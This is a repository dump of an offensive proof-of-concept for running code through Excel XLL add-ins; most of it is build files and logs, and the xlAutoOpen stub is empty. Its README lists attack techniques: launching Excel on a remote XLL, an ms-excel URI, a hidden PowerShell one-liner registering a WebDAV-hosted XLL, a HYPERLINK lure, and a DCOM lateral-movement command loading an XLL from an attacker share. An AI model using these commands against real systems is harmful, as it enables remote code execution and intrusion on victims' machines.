├── README.md
└── XLL_POC
├── Debug
├── XLL_POC.exp
├── XLL_POC.lib
└── XLL_POC.pdb
├── Release
├── XLL_POC - Copy.xll
├── XLL_POC.dll
├── XLL_POC.exp
├── XLL_POC.iobj
├── XLL_POC.ipdb
├── XLL_POC.lib
├── XLL_POC.pdb
└── XLL_POC.xll
├── XLL_POC.sln
├── XLL_POC
├── Debug
│ ├── XLL_POC.log
│ ├── XLL_POC.obj
│ ├── XLL_POC.pch
│ ├── XLL_POC.res
│ ├── XLL_POC.tlog
│ │ ├── CL.command.1.tlog
│ │ ├── CL.read.1.tlog
│ │ ├── CL.write.1.tlog
│ │ ├── XLL_POC.lastbuildstate
│ │ ├── link-cvtres.read.1.tlog
│ │ ├── link-cvtres.write.1.tlog
│ │ ├── link-mt.read.1.tlog
│ │ ├── link-mt.write.1.tlog
│ │ ├── link-rc.read.1.tlog
│ │ ├── link-rc.write.1.tlog
│ │ ├── link.command.1.tlog
│ │ ├── link.read.1.tlog
│ │ ├── link.write.1.tlog
│ │ ├── rc.command.1.tlog
│ │ ├── rc.read.1.tlog
│ │ └── rc.write.1.tlog
│ ├── dllmain.obj
│ ├── stdafx.obj
│ ├── vc140.idb
│ └── vc140.pdb
├── ReadMe.txt
├── Release
│ ├── XLL_POC.log
│ ├── XLL_POC.obj
│ ├── XLL_POC.pch
│ ├── XLL_POC.tlog
│ │ ├── CL.command.1.tlog
│ │ ├── CL.read.1.tlog
│ │ ├── CL.write.1.tlog
│ │ ├── XLL_POC.lastbuildstate
│ │ ├── XLL_POC.write.1u.tlog
│ │ ├── link.command.1.tlog
│ │ ├── link.read.1.tlog
│ │ └── link.write.1.tlog
│ ├── dllmain.obj
│ ├── stdafx.obj
│ └── vc140.pdb
├── Resource.h
├── XLCALL32.LIB
├── XLL_POC.APS
├── XLL_POC.cpp
├── XLL_POC.def
├── XLL_POC.rc
├── XLL_POC.vcxproj
├── XLL_POC.vcxproj.filters
├── dllmain.cpp
├── res
│ └── XLL_POC.rc2
├── stdafx.cpp
├── stdafx.h
├── targetver.h
└── xlcall.h
└── ipch
└── XLL_POC-cee785e4
├── XLL_POC-73a963d7.ipch
└── XLL_POC-c374541d.ipch
/README.md:
--------------------------------------------------------------------------------
1 | # xllpoc
2 | ## Code Exec via Excel
3 | A small project that aggregates community knowledge for Excel XLL execution, via xlAutoOpen() or PROCESS_ATTACH.
4 |
5 | ### Getting Exec
6 | Put your code in either,
7 | ```
8 | dllmain.cpp
9 | PROCESS_ATTACH
10 |
11 | XLL_POC.cpp
12 | xlAutoOpen()
13 | ```
14 | #### Some various execution techniques
15 | Excel
16 | ```
17 | Excel.exe http://foo.com/xll.xll
18 | ```
19 | uri
20 | ```
21 | ms-excel:ofe|u|http://foo.com/xll.xll
22 | ```
23 | Everyones favourite oneliner
24 | ```
25 | powershell -w hidden -c "IEX ((new-object -ComObject excel.application).RegisterXLL('\\webdavxll_poc.xll')"
26 | ```
27 | Embedded in the Worksheet (xll cant be found)
28 | ```
29 | =HYPERLINK("http://foo.com/xll.xll", "CLICK")
30 | ```
31 | #### Lateral movement from @buffaloverflow
32 | ```
33 | PS>[activator]::CreateInstance([type]::GetTypeFromCLSID("{CLSID}, tgt")).RegisterXLL("\\attacker\xll.xll")
34 | ```
35 |
36 |
37 | ### Credit
38 | - EdParcell: https://github.com/edparcell/HelloWorldXll
39 | - MSDN: https://msdn.microsoft.com/en-us/library/office/bb687883.aspx
40 | - Ryan Hanson: https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52
41 | - Google Groups: https://groups.google.com/forum/#!msg/exceldna/d2ogsPkv6YM/NGnSrU9tmpMJ
42 | - MWR Labs: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
43 | - @SubTee:
44 | - @buffaloverflow: https://twitter.com/buffaloverflow/status/888427071327916032
45 |
--------------------------------------------------------------------------------
/XLL_POC/Debug/XLL_POC.exp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Debug/XLL_POC.exp
--------------------------------------------------------------------------------
/XLL_POC/Debug/XLL_POC.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Debug/XLL_POC.lib
--------------------------------------------------------------------------------
/XLL_POC/Debug/XLL_POC.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Debug/XLL_POC.pdb
--------------------------------------------------------------------------------
/XLL_POC/Release/XLL_POC - Copy.xll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC - Copy.xll
--------------------------------------------------------------------------------
/XLL_POC/Release/XLL_POC.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.dll
--------------------------------------------------------------------------------
/XLL_POC/Release/XLL_POC.exp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.exp
--------------------------------------------------------------------------------
/XLL_POC/Release/XLL_POC.iobj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.iobj
--------------------------------------------------------------------------------
/XLL_POC/Release/XLL_POC.ipdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.ipdb
--------------------------------------------------------------------------------
/XLL_POC/Release/XLL_POC.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.lib
--------------------------------------------------------------------------------
/XLL_POC/Release/XLL_POC.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.pdb
--------------------------------------------------------------------------------
/XLL_POC/Release/XLL_POC.xll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.xll
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "XLL_POC", "XLL_POC\XLL_POC.vcxproj", "{93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Debug|x64.ActiveCfg = Debug|x64
17 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Debug|x64.Build.0 = Debug|x64
18 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Debug|x86.ActiveCfg = Debug|Win32
19 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Debug|x86.Build.0 = Debug|Win32
20 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Release|x64.ActiveCfg = Release|x64
21 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Release|x64.Build.0 = Release|x64
22 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Release|x86.ActiveCfg = Release|Win32
23 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.log:
--------------------------------------------------------------------------------
1 | stdafx.cpp
2 | XLL_POC.cpp
3 | dllmain.cpp
4 | Generating Code...
5 | Creating library c:\users\dso\desktop\XLL_POC\Debug\XLL_POC.lib and object c:\users\dso\desktop\XLL_POC\Debug\XLL_POC.exp
6 | XLL_POC.obj : error LNK2019: unresolved external symbol _Excel4 referenced in function "short __stdcall xlAutoOpen(void)" (?xlAutoOpen@@YGFXZ)
7 | c:\users\dso\desktop\XLL_POC\Debug\XLL_POC.dll : fatal error LNK1120: 1 unresolved externals
8 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.obj
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.pch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.pch
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.res:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.res
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.command.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.read.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.write.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/XLL_POC.lastbuildstate:
--------------------------------------------------------------------------------
1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v140:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=8.1
2 | Debug|Win32|c:\users\dso\desktop\XLL_POC\|
3 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-mt.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-mt.read.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-mt.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-mt.write.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-rc.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-rc.read.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-rc.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-rc.write.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.command.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.read.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.write.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.command.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.read.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.write.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/dllmain.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/dllmain.obj
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/stdafx.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/stdafx.obj
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/vc140.idb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/vc140.idb
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Debug/vc140.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/vc140.pdb
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/ReadMe.txt:
--------------------------------------------------------------------------------
1 | ========================================================================
2 | MICROSOFT FOUNDATION CLASS LIBRARY : XLL_POC Project Overview
3 | ========================================================================
4 |
5 |
6 | AppWizard has created this XLL_POC DLL for you. This DLL not only
7 | demonstrates the basics of using the Microsoft Foundation classes but
8 | is also a starting point for writing your DLL.
9 |
10 | This file contains a summary of what you will find in each of the files that
11 | make up your XLL_POC DLL.
12 |
13 | XLL_POC.vcxproj
14 | This is the main project file for VC++ projects generated using an Application Wizard.
15 | It contains information about the version of Visual C++ that generated the file, and
16 | information about the platforms, configurations, and project features selected with the
17 | Application Wizard.
18 |
19 | XLL_POC.vcxproj.filters
20 | This is the filters file for VC++ projects generated using an Application Wizard.
21 | It contains information about the association between the files in your project
22 | and the filters. This association is used in the IDE to show grouping of files with
23 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the
24 | "Source Files" filter).
25 |
26 | XLL_POC.h
27 | This is the main header file for the DLL. It declares the
28 | CXLL_POCApp class.
29 |
30 | XLL_POC.cpp
31 | This is the main DLL source file. It contains the class CXLL_POCApp.
32 |
33 | XLL_POC.rc
34 | This is a listing of all of the Microsoft Windows resources that the
35 | program uses. It includes the icons, bitmaps, and cursors that are stored
36 | in the RES subdirectory. This file can be directly edited in Microsoft
37 | Visual C++.
38 |
39 | res\XLL_POC.rc2
40 | This file contains resources that are not edited by Microsoft
41 | Visual C++. You should place all resources not editable by
42 | the resource editor in this file.
43 |
44 | XLL_POC.def
45 | This file contains information about the DLL that must be
46 | provided to run with Microsoft Windows. It defines parameters
47 | such as the name and description of the DLL. It also exports
48 | functions from the DLL.
49 |
50 | /////////////////////////////////////////////////////////////////////////////
51 | Other standard files:
52 |
53 | StdAfx.h, StdAfx.cpp
54 | These files are used to build a precompiled header (PCH) file
55 | named XLL_POC.pch and a precompiled types file named StdAfx.obj.
56 |
57 | Resource.h
58 | This is the standard header file, which defines new resource IDs.
59 | Microsoft Visual C++ reads and updates this file.
60 |
61 | /////////////////////////////////////////////////////////////////////////////
62 | Other notes:
63 |
64 | AppWizard uses "TODO:" to indicate parts of the source code you
65 | should add to or customize.
66 |
67 | /////////////////////////////////////////////////////////////////////////////
68 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.log:
--------------------------------------------------------------------------------
1 | dllmain.cpp
2 | Creating library C:\Users\dso\Desktop\XLL_POC\Release\XLL_POC.lib and object C:\Users\dso\Desktop\XLL_POC\Release\XLL_POC.exp
3 | Generating code
4 | 1 of 2 functions (50.0%) were compiled, the rest were copied from previous compilation.
5 | 0 functions were new in current compilation
6 | 0 functions had inline decision re-evaluated but remain unchanged
7 | Finished generating code
8 | XLL_POC.vcxproj -> C:\Users\dso\Desktop\XLL_POC\Release\XLL_POC.dll
9 | XLL_POC.vcxproj -> C:\Users\dso\Desktop\XLL_POC\Release\XLL_POC.pdb (Full PDB)
10 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.obj
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.pch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.pch
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.command.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.read.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.write.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.tlog/XLL_POC.lastbuildstate:
--------------------------------------------------------------------------------
1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v140:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.15063.0
2 | Release|Win32|C:\Users\dso\Desktop\XLL_POC\|
3 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.tlog/XLL_POC.write.1u.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/XLL_POC.write.1u.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.command.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.read.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.write.1.tlog
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/dllmain.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/dllmain.obj
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/stdafx.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/stdafx.obj
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Release/vc140.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/vc140.pdb
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/Resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by XLL_POC.rc
4 | //
5 |
6 | // Next default values for new objects
7 | //
8 | #ifdef APSTUDIO_INVOKED
9 | #ifndef APSTUDIO_READONLY_SYMBOLS
10 |
11 | #define _APS_NEXT_RESOURCE_VALUE 1000
12 | #define _APS_NEXT_CONTROL_VALUE 1000
13 | #define _APS_NEXT_SYMED_VALUE 1000
14 | #define _APS_NEXT_COMMAND_VALUE 32771
15 | #endif
16 | #endif
17 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/XLCALL32.LIB:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/XLCALL32.LIB
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/XLL_POC.APS:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/XLL_POC.APS
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/XLL_POC.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 |
3 |
4 | short __stdcall xlAutoOpen()
5 | {
6 | // Code Here
7 | }
8 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/XLL_POC.def:
--------------------------------------------------------------------------------
1 | ; XLL_POC.def : Declares the module parameters for the DLL.
2 |
3 | LIBRARY
4 |
5 | EXPORTS
6 | xlAutoOpen
7 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/XLL_POC.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/XLL_POC.rc
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/XLL_POC.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}
23 | XLL_POC
24 | 10.0.15063.0
25 | MFCDLLProj
26 |
27 |
28 |
29 | DynamicLibrary
30 | true
31 | v140
32 | Unicode
33 | Static
34 |
35 |
36 | DynamicLibrary
37 | false
38 | v140
39 | true
40 | MultiByte
41 | false
42 |
43 |
44 | DynamicLibrary
45 | true
46 | v140
47 | Unicode
48 | Static
49 |
50 |
51 | DynamicLibrary
52 | false
53 | v140
54 | true
55 | Unicode
56 | Static
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | true
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 | false
87 |
88 |
89 |
90 | Use
91 | Level3
92 | Disabled
93 | WIN32;_WINDOWS;_DEBUG;_USRDLL;%(PreprocessorDefinitions)
94 | true
95 |
96 |
97 | Windows
98 | .\XLL_POC.def
99 |
100 |
101 | false
102 | _DEBUG;%(PreprocessorDefinitions)
103 |
104 |
105 | 0x0409
106 | _DEBUG;%(PreprocessorDefinitions)
107 | $(IntDir);%(AdditionalIncludeDirectories)
108 |
109 |
110 |
111 |
112 | Use
113 | Level3
114 | Disabled
115 | _WINDOWS;_DEBUG;_USRDLL;%(PreprocessorDefinitions)
116 | true
117 |
118 |
119 | Windows
120 | .\XLL_POC.def
121 |
122 |
123 | false
124 | _DEBUG;%(PreprocessorDefinitions)
125 |
126 |
127 | 0x0409
128 | _DEBUG;%(PreprocessorDefinitions)
129 | $(IntDir);%(AdditionalIncludeDirectories)
130 |
131 |
132 |
133 |
134 | Level3
135 | Use
136 | MaxSpeed
137 | true
138 | true
139 | WIN32;_WINDOWS;NDEBUG;_USRDLL;%(PreprocessorDefinitions)
140 | true
141 |
142 |
143 | Windows
144 | true
145 | true
146 | XLL_POC.def
147 | XLCALL32.LIB;%(AdditionalDependencies)
148 |
149 |
150 | false
151 | NDEBUG;%(PreprocessorDefinitions)
152 |
153 |
154 | 0x0409
155 | NDEBUG;%(PreprocessorDefinitions)
156 | $(IntDir);%(AdditionalIncludeDirectories)
157 |
158 |
159 |
160 |
161 | Level3
162 | Use
163 | MaxSpeed
164 | true
165 | true
166 | _WINDOWS;NDEBUG;_USRDLL;%(PreprocessorDefinitions)
167 | true
168 |
169 |
170 | Windows
171 | true
172 | true
173 | .\XLL_POC.def
174 |
175 |
176 | false
177 | NDEBUG;%(PreprocessorDefinitions)
178 |
179 |
180 | 0x0409
181 | NDEBUG;%(PreprocessorDefinitions)
182 | $(IntDir);%(AdditionalIncludeDirectories)
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 | Create
192 | Create
193 | Create
194 | Create
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/XLL_POC.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 |
46 |
47 | Source Files
48 |
49 |
50 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/dllmain.cpp:
